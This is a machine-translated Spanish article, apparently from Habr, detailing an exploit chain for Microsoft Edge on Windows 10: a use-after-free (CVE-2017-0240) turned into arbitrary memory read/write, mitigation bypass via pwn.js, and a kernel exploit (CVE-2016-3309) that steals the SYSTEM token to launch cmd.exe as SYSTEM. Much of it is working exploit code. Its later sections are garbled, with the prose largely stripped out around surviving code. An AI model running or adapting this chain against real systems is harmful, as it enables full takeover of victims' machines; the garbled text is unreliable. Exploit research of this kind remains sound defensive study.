Microsoft Edge de CVE a RCE en Windows 10

Introducción


En el marco de este artículo, consideraremos con suficiente detalle el proceso de escribir un exploit para una vulnerabilidad en Microsoft Edge, con la posterior salida del sandbox. Si estás interesado en saber cómo es este proceso, ¡bienvenido con cat!


Introduccion


En el último Pwn2Own 2019 en Montreal, en la categoría de navegadores, se demostró una vulnerabilidad para hackear Microsoft Edge . Para esto se utilizaron dos vulnerabilidades: double free en el renderizador y una vulnerabilidad lógica para salir del sandbox. Estas dos vulnerabilidades se cerraron recientemente y se les asignó el CVE correspondiente: CVE-2019-0940 y CVE-2019-0938 . Puede leer más sobre vulnerabilidades en el blog: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Parte 1 y Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Parte 2 .


Como parte de nuestro artículo, queremos mostrar el proceso de escritura de un exploit y cuánto tiempo y recursos se necesitan para esto usando el ejemplo de Microsoft Edge en Windows 10 usando CVE-2017-0240 y CVE-2016-3309 . Una de las diferencias es que si el exploit demostrado en Pwn2Own usó una vulnerabilidad lógica para salir del sandbox, entonces, en nuestro escenario, la vulnerabilidad en el kernel Windows 10 se usará para salir del sandbox. Como muestran los parches de Microsoft , hay muchas más vulnerabilidades en el kernel que vulnerabilidades en la implementación del sandbox. Como resultado, es más probable que se encuentre una cadena de vulnerabilidades de este tipo, y será útil saber para los empleados de IS en las empresas.


Datos de origen


Este artículo cubrirá el proceso de escribir un exploit de 1 día para el navegador Microsoft Edge . CVE-2017-0240 será operado. La primera etapa de operación se llevará a cabo sobre la base de materiales de la fuente [1], obtendremos una arbitrary address read/write primitiva, y también nos familiarizaremos con varias técnicas que pueden ser útiles al explotar tales vulnerabilidades. A continuación, le presentaremos la herramienta pwn.js , que lo ayudará a obtener una llamada a funciones arbitrarias basadas en lectura y escritura arbitrarias, y también discutiremos varias mitigations y formas de evitarlas. En la última etapa, se aprovechará la vulnerabilidad del kernel de Windows CVE-2016-3309 para aumentar los privilegios, eludir AppContainer restricciones de AppContainer y obtener el control completo sobre la máquina atacada.


La operación se realizará en el stand con Microsoft Windows 10 Pro 1703 (10.0.15063) y el navegador Microsoft Edge (40.15063.0.0) .


Paso 1. Obtener una arbitrary address read/write primitiva


Descripción de la vulnerabilidad y obtención de OOB


Una vulnerabilidad de tipo use-after-free presente en el método copyFromChannel del objeto Audio Buffer .


AudioBuffer es la interfaz de un recurso de audio breve ubicado en la memoria y creado a partir de un archivo de audio utilizando el método AudioContext.decodeAudioData (), o de los datos de origen utilizando el método AudioContext.createBuffer (). Los datos de audio colocados en AudioBuffer se pueden reproducir en AudioBufferSourceNode.

La presentación de The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 proporciona un análisis detallado de la vulnerabilidad y el parche. Cuando se copyFromChannel método copyFromChannel , el contenido del canal del búfer de audio se copia en el búfer de destination especificado por el primer argumento. El método también acepta el número de canal ( channelNumber ) y el desplazamiento en el búfer de audio ( startInChannel ), a partir del cual es necesaria la copia. Antes de copiar directamente los datos al destination en la función CDOMAudioBuffer::Var_copyFromChannel , el búfer de destination se almacena en caché (la dirección y el tamaño del búfer se almacenan en variables de función local en la pila) y los valores de objeto channelNumber y startInChannel se startInChannel al tipo Int , para lo cual se llama al método valueOf de los objetos convertidos. La vulnerabilidad es que un búfer en caché se puede liberar en el momento de la conversión de tipos en el método anulado del objeto valueOf . Para la verificación, utilizamos el siguiente código:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

Este código utiliza la tecnología de Web Workers para liberar el búfer. Después de haber creado un Worker vacío, podemos enviarle un mensaje utilizando el método postMessage . El segundo argumento de transfer opcional de este método acepta una matriz de objetos Transferable ( ArrayBuffer , MessagePost o ImageBitmap ), los derechos del objeto se transferirán a Worker y el objeto ya no estará disponible en el contexto actual, por lo que se puede eliminar. Después de esto, se produce una llamada a la sleep , una función que detiene temporalmente la ejecución de un programa (se implementa de forma independiente). Esto es necesario para que el sistema de recolección de basura ( GC , Garbage Collector ) logre liberar el búfer, cuyos derechos fueron transferidos.


Los trabajadores web proporcionan un medio simple para ejecutar scripts en el hilo de fondo. El subproceso de trabajo puede realizar tareas sin interferir con la interfaz de usuario. Además, pueden hacer E / S usando XMLHttpRequest (aunque los atributos responseXML y channel siempre serán nulos). Un trabajador existente puede enviar mensajes JavaScript al código creador a través del controlador de eventos especificado por este código (y viceversa).

Al ejecutar este código en Edge bajo el depurador, puede obtener el siguiente bloqueo.


Paso 01 accidente


Como resultado, la llamada a copyFromChannel intenta copiar el contenido del búfer de audio en el área de memoria no asignada. Para aprovechar la vulnerabilidad, es necesario lograr la asignación de cualquier objeto en esta área de memoria. En este caso, el segmento de matriz es perfecto.


Las matrices en Chakra (el motor JS utilizado en el navegador Edge ) se organizan de la siguiente manera: el objeto de la matriz tiene un tamaño fijo, los punteros a los objetos de la matriz (o valores, en el caso de IntArray ) se almacenan en un área de memoria separada: el segmento, el puntero que está contenido en el objeto matriz. El encabezado del segmento contiene información diversa, incluido el tamaño del segmento, que corresponde al tamaño de la matriz. El tamaño de la matriz también está presente en el objeto de la matriz en sí. Esquemáticamente, se ve así:


Estructura de matriz


Por lo tanto, si logramos seleccionar el segmento de matriz en el espacio previamente liberado, entonces podemos sobrescribir el encabezado del segmento de matriz con el contenido del búfer de audio. Para hacer esto, modificamos el código anterior agregando las siguientes líneas después de sleep(1000); :


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

El tamaño de las matrices se selecciona de modo que el tamaño del segmento de la matriz ocupe todo el segmento de almacenamiento dinámico (la pieza mínima indivisible de memoria de almacenamiento dinámico, cuyo tamaño es 0x10000 bytes). Ejecute este código, especificando la función memcpy como punto de interrupción (habrá muchas llamadas memcpy , por lo que tiene sentido detenerse primero en edgehtml!WebCore::AudioBufferData::copyBufferData ), en el que ocurrió el bloqueo. Obtenemos el siguiente resultado:


Paso 02


Genial Ahora podemos sobrescribir el encabezado del segmento de matriz con nuestros propios valores. Los valores más interesantes en este caso son el tamaño de la matriz, cuyo desplazamiento podemos ver en la captura de pantalla anterior. Cambie el contenido del búfer de audio de la siguiente manera:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

Preste atención a los valores de ta2[14] y ta2[15] ; ya no se refieren al encabezado del segmento, sino a los valores de la matriz en sí. Con esto, podemos determinar la matriz que necesitamos en la matriz arr global de la siguiente manera:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

Si, como resultado, se encontró una matriz, cuyos dos primeros elementos se modificaron de cierta manera, entonces todo está bien. Ahora tenemos una matriz cuyo tamaño de segmento es más grande de lo que realmente es. Las matrices restantes se pueden liberar.


Aquí es necesario recordar que el tamaño de la matriz existe en dos entidades: en el objeto de matriz, donde permaneció sin cambios, y en el segmento de matriz, donde lo aumentamos. Resulta que el tamaño en el objeto de matriz se ignora si el código se ejecuta en el modo JIT y se ha optimizado. Esto se logra fácilmente, por ejemplo, de la siguiente manera:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

Después de eso, utilizando las arr_set arr_get y arr_set puede ir más allá de los límites de la matriz ( OOB , out-of-bound ).


Usando OOB para obtener la primitiva de leer y escribir en una dirección arbitraria


En esta sección, consideramos una técnica que le permite leer y escribir en una dirección arbitraria utilizando OOB . El método por el cual obtenemos esto será similar al utilizado en la fuente [1], pero también habrá cambios significativos.


En la versión utilizada de Edge los bloques de memoria para el montón se asignan secuencialmente, debido a lo cual, al asignar una gran cantidad de objetos, tarde o temprano aparecerán después del segmento de matriz, más allá de los cuales podemos ir.


Primero, nos da la capacidad de leer un puntero a una tabla virtual de métodos de objetos ( vftable ), para que podamos evitar la aleatorización del espacio de direcciones del proceso ( ASLR ). ¿Pero el acceso a qué objetos nos ayudará a lograr una lectura y escritura arbitrarias? Un par de objetos DataView son geniales para esto.


DataView proporciona una interfaz de bajo nivel para leer y escribir múltiples tipos numéricos en un ArrayBuffer binario, independientemente del orden de los bytes de la plataforma.

La estructura interna de DataView contiene un puntero a un búfer. Para leer y escribir en una dirección arbitraria, por ejemplo, podemos construir una cadena de dos DataView ( dv1 y dv2 ) de la siguiente manera: como el búfer dv1 especifique la dirección dv2 accediendo a la matriz. Ahora usando dv1 podemos cambiar la dirección del búfer dv2 , debido a lo cual se logra una lectura y escritura arbitrarias. Esquemáticamente, esto se puede representar de la siguiente manera:


Dirección arbitraria de lectura / escritura


Para usar este método, debe aprender a determinar las direcciones de los objetos en la memoria. Para hacer esto, existe la siguiente técnica: debe crear una nueva Array , usar OOB para guardar su vftable y typeId (los dos primeros campos de 64 bits de la estructura) y asignar el objeto al que la dirección interesa al primer elemento de la matriz. Luego, debe restaurar los typeId vftable y typeId previamente guardados. Ahora la palabra doble junior y senior de la dirección del objeto se puede obtener haciendo referencia al primer y segundo elemento de la matriz. El hecho es que, por defecto, la nueva matriz es IntArray , y los valores de 4 bytes de la matriz se almacenan en su segmento tal como están. Al asignar un objeto a una matriz, la matriz se convierte en una ObjectArray y su segmento se usa para almacenar las direcciones de los objetos. La conversión cambia vftable y typeId . En consecuencia, si restauramos los valores originales vftable y typeId , a través de los elementos de esta matriz podemos acceder al segmento directamente. El proceso descrito esquemáticamente se puede representar de la siguiente manera:


Fuga de puntero


La función para obtener la dirección se verá así:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

Una pregunta abierta sigue siendo la creación de los objetos necesarios y su búsqueda usando OOB . Como se mencionó anteriormente, al asignar una gran cantidad de objetos, tarde o temprano comenzarán a destacarse después del segmento de matriz, más allá del cual podemos ir. Para encontrar los objetos necesarios, solo necesita pasar por los índices fuera de la matriz en busca de los objetos necesarios. Porque todos los objetos del mismo tipo se encuentran en un segmento del montón, puede optimizar la búsqueda y recorrer los segmentos del montón en incrementos de 0x10000 , y verificar solo los primeros valores desde el comienzo de cada segmento del montón. Para identificar objetos, puede establecerles valores únicos para algunos parámetros (por ejemplo, para DataView puede ser byteOffset ) o, utilizando las constantes ya conocidas en la estructura del objeto (por ejemplo, en la versión utilizada de Edge en IntArray , el valor 0x10005 siempre se encuentra en 0x18 ).


Al combinar todas las técnicas anteriores, puede leer y escribir en una dirección arbitraria. A continuación se muestra una captura de pantalla de lectura de objetos de memoria DataView .


Pérdida de memoria


Paso 2. Realizar funciones arbitrarias de API


En esta etapa, pudimos leer y escribir en una dirección arbitraria dentro del proceso de visualización del contenido de Edge . Considere las principales tecnologías que deberían interferir con el funcionamiento posterior de la aplicación y sus soluciones. Ya escribimos una breve serie de artículos sobre app specific security mitigation ( parte 1, introducción , parte 2, Internet Explorer y Edge , parte 3, Google Chrome ), pero tenga en cuenta que los desarrolladores no se quedan quietos y agregan nuevas herramientas a sus productos protección


Aleatorización del espacio de direcciones ( ASLR )


ASLR (asignación aleatoria del diseño del espacio de direcciones en inglés) es una tecnología utilizada en sistemas operativos que cambia aleatoriamente la ubicación de estructuras de datos importantes en el espacio de direcciones del proceso, a saber: imágenes de archivos ejecutables, bibliotecas cargadas, montones y apilar.

Arriba, aprendimos a leer las direcciones de las tablas de clases virtuales, utilizándolas, podemos calcular fácilmente la dirección base del módulo Chakra.dll , por lo que ASLR no presenta problemas para una operación adicional.


Protección de ejecución de datos ( DEP , NX )


La Prevención de ejecución de datos (DEP) es una función de seguridad integrada en Linux, Mac OS X, Android y Windows que impide que una aplicación ejecute código desde un área de memoria marcada como "solo datos". Evitará algunos ataques que, por ejemplo, guardan código en dicha área utilizando desbordamientos de búfer.

Una forma de evitar esta protección es llamar a VirtualAlloc usando cadenas ROP . Pero en el caso de Edge este método no funcionará debido a ACG (ver más abajo).


Control de flujo de CFG ( CFG )


CFG es un mecanismo de protección destinado a complicar el proceso de explotación de vulnerabilidades binarias en aplicaciones de usuario y en modo kernel. El trabajo de este mecanismo consiste en validar llamadas indirectas, lo que evita que un atacante intercepte el hilo de ejecución (por ejemplo, sobrescribiendo la tabla de funciones virtuales)

Esta tecnología controla solo llamadas indirectas, por ejemplo, llamadas a métodos de la tabla virtual de funciones de objeto. Las direcciones de retorno en la pila no están controladas, y esto se puede usar para construir cadenas ROP . El uso futuro de ROP/JOP/COP cadenas ROP/JOP/COP puede verse obstaculizado por Intel nueva tecnología de Intel : Control-flow Enforcement Technology ( CET ). Esta tecnología consta de dos partes:


  1. Shadow Stack sombra (pila de sombra): se utiliza para controlar las direcciones de retorno y protege contra cadenas ROP ;
  2. Indirect Branch Tracking es un método de protección contra cadenas JOP/COP . Es una nueva instrucción ENDBRANCH , que marca todas las direcciones de transición válidas para instrucciones de call y jmp .

Guardia de código arbitrario ( ACG )


ACG es una tecnología que impide la generación dinámica de código (está prohibido asignar áreas de memoria VirtaulAlloc usando VirtaulAlloc ) y sus modificaciones (es imposible VirtaulAlloc área de memoria disponible como ejecutable)

Esta protección, como CFG , no impide el uso de cadenas ROP .


AppContainer Isolation


AppContainer es una tecnología de Microsoft que le permite aislar un proceso ejecutándolo en un entorno de espacio aislado. Esta tecnología restringe el acceso del proceso a las credenciales, los dispositivos, el sistema de archivos, la red, otros procesos y ventanas y tiene como objetivo minimizar el potencial del software malicioso que tiene la capacidad de ejecutar código arbitrario en el proceso.

Esta protección complica enormemente el proceso de operación. Por eso, no podemos llamar a archivos ejecutables de terceros ni acceder a información confidencial del usuario en la memoria o en los discos. Sin embargo, esta protección se puede superar mediante el uso de vulnerabilidades en la implementación del entorno limitado de AppContainer o aumentando los privilegios mediante la explotación de vulnerabilidades en el núcleo del sistema operativo.


Vale la pena señalar que Microsoft tiene un programa de recompensa por separado para técnicas para eludir security mitigation tecnologías de security mitigation . El programa indica que la reutilización de código ejecutable (la construcción de cadenas ROP es una variación de esta técnica) no se incluye en el programa, porque Es un tema arquitectónico.


Usando pwn.js


De un análisis de todas las tecnologías de seguridad, se deduce que para poder ejecutar código arbitrario, debe omitir el AppContainer limitado de AppContainer . En este artículo, describimos un método que utiliza una vulnerabilidad en el kernel de Windows . En este caso, solo podemos usar el código JS y las cadenas ROP . Escribir un exploit para el kernel usando solo cadenas ROP puede ser muy difícil. Para simplificar esta tarea, puede encontrar un conjunto de gadgets con los que podríamos llamar los métodos WinAPI necesarios. Afortunadamente, esto ya está implementado en la biblioteca pwn.js Utilizándolo, habiendo descrito solo las funciones de lectura y escritura para lectura y escritura arbitrarias, puede obtener una API conveniente para encontrar las funciones necesarias de WinAPI y llamarlas. pwn.js también proporciona una herramienta conveniente para trabajar con valores de 64 bits y punteros y herramientas para trabajar con estructuras.


Considere un ejemplo simple. En el paso anterior, obtuvimos una cadena de dos DataView relacionadas. Para preparar el exploit, debe crear la siguiente clase:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


PWNED


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI — Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Final


YouTube , Microsoft Edge.


Resumen


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .



  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/455594/


All Articles